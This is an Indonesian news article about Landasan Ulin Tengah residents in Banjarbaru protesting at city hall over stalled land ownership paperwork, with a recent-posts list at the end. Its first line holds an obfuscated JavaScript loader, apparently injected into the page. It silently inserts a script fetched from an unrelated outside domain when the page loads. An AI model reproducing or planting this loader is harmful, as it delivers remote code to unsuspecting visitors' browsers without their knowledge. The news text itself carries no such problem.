(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemerintahan

Soal Tanah, Warga Landasan Ulin Tengah Ngadu ke Balaikota


BANJARBARU, Puluhan warga RT 06 RW 02 Kelurahan Landasan Ulin Tengah datangi halaman Balaikota Banjarbaru, Senin (16/7). Warga menuntut pemerintah segera menyelesaikan masalah tanah yang belum dibuatkan surat kepemilikan tanah, dan segera meminta dibuatkan surat kepemilikan tanah (sporadik).

Sumaji, salah satu warga mengatakan, kedatangan mereka hanya untuk mengadukan kejelasan tanah yang dimiliki mereka selama ini. Warga dibikin gusar karena ketika mengurus bukti kepemilikan, ada kesulitan untuk pembuatan surat tanah dari kelurahan.

“Kami sudah bermukin di sana jauh sebelum seperti seramai sekarang, saya punya tanah seluas 17×25 meter, tanah itu memang tanah kami, namun ketika ingin mengurus surat-surat kepemilikan seperti dipersulit oleh pihak kelurahan,” keluhnya.

Sebagai bukti adanya kepemilikan tanah yang dimilikinya saat ini, Sumaji mdengaku mengantongi kwitansi segel jual beli, namun ketika mengurus ke kelurahan tidak bisa terlaksana. Terkesan seakan dipersulit, padahal kebanyakan tanah tersebut dipergunakan masyarakat untuk bertani.

“Harapan saya mudah-mudahan pemerintah bisa membantu dan bisa mengatasi kesusahan warga biar kami semua nyaman dan enak bekerja,” ujarnya.

Sementara itu menurut Ketua KAKI Kalsel Akhmad Husaini yang mendampingi warga bertemu dengan Pemko Banjarbaru mengatakan, ada dua poin kesepakatan yang mereka bicarakan. Pertama, dugaan pelayanan publik yang kurang memuaskan kepada masyarakat dari pihak terkait. Kedua Pemko Banjarbaru akan melakukan penyelidikan dan meninjau ke lokasi tanah tersebut, dengan tujuan untuk mencari solusi maupun jalan keluar atas permasalahan tersebut.

“Ada dua poin yang disimpulkan dalam mediasi tadi, salah satunya pelayanan public yang diberikan oleh pihak yang terkait, karena begitu susahnya masyarakat untuk mengolah sporadik,” jelasnya. “Warga tidak mau ada masalah ke ranah hukum,” tegasnya.

Masih menurut Husaini sejumlah sudah mempunyai sertifikat maupun bukti kuitansi jual beli, namun ada pihak yang mengklaim tanah tersebut. (rendy)

Reporter:rendy
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

6 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

7 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

7 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

14 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

15 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.